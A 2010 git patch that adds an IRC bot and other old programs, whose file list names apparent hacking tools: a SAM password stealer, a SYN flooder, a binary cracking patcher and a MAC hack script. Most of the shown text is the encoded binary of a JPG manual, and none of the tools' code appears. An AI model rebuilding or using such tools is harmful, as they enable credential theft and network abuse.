From eb313e17c964b3227fbdbb54bbcda05a9d84f7ac Mon Sep 17 00:00:00 2001 From: Harvie Date: Tue, 25 May 2010 00:02:47 +0200 Subject: [PATCH] C+WinSock IRC Bot and few other useless programs i've found on my freeshell account... --- c/HarveCter/HarveCter_0.8_basics_manual.jpg | Bin 0 -> 903894 bytes c/HarveCter/harvecter.c | 319 +++++ c/HarveCter/harvecter.nfo | 113 ++ c/samthief.c | 28 + c/synfcity.c | 158 +++ misc/BinCracking/binpatcher.c | 96 ++ misc/BinCracking/hexcmp.c | 87 ++ misc/BinCracking/patcher_gen.phps | 52 + php/hhttpd/examples/hhttpd_listing.html | 10 + php/hhttpd/examples/hhttpd_listing_new.html | 41 + php/hhttpd/examples/hhttpd_output.txt | 19 + php/hhttpd/http_server.pdf | 1152 +++++++++++++++++ .../http_server.phps} | 4 +- php/jyxobot.phps | 82 ++ php/mac_hack.phps | 137 ++ php/speedtest-defunct.php | 10 + 16 files changed, 2306 insertions(+), 2 deletions(-) create mode 100755 c/HarveCter/HarveCter_0.8_basics_manual.jpg create mode 100755 c/HarveCter/harvecter.c create mode 100755 c/HarveCter/harvecter.nfo create mode 100755 c/samthief.c create mode 100755 c/synfcity.c create mode 100755 misc/BinCracking/binpatcher.c create mode 100755 misc/BinCracking/hexcmp.c create mode 100755 misc/BinCracking/patcher_gen.phps create mode 100755 php/hhttpd/examples/hhttpd_listing.html create mode 100755 php/hhttpd/examples/hhttpd_listing_new.html create mode 100755 php/hhttpd/examples/hhttpd_output.txt create mode 100755 php/hhttpd/http_server.pdf rename php/{http_server.php => hhttpd/http_server.phps} (99%) create mode 100755 php/jyxobot.phps create mode 100755 php/mac_hack.phps create mode 100755 php/speedtest-defunct.php diff --git a/c/HarveCter/HarveCter_0.8_basics_manual.jpg b/c/HarveCter/HarveCter_0.8_basics_manual.jpg new file mode 100755 index 0000000000000000000000000000000000000000..6a63094b4d1679246b1daa203aac15533480476f GIT binary patch literal 903894 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 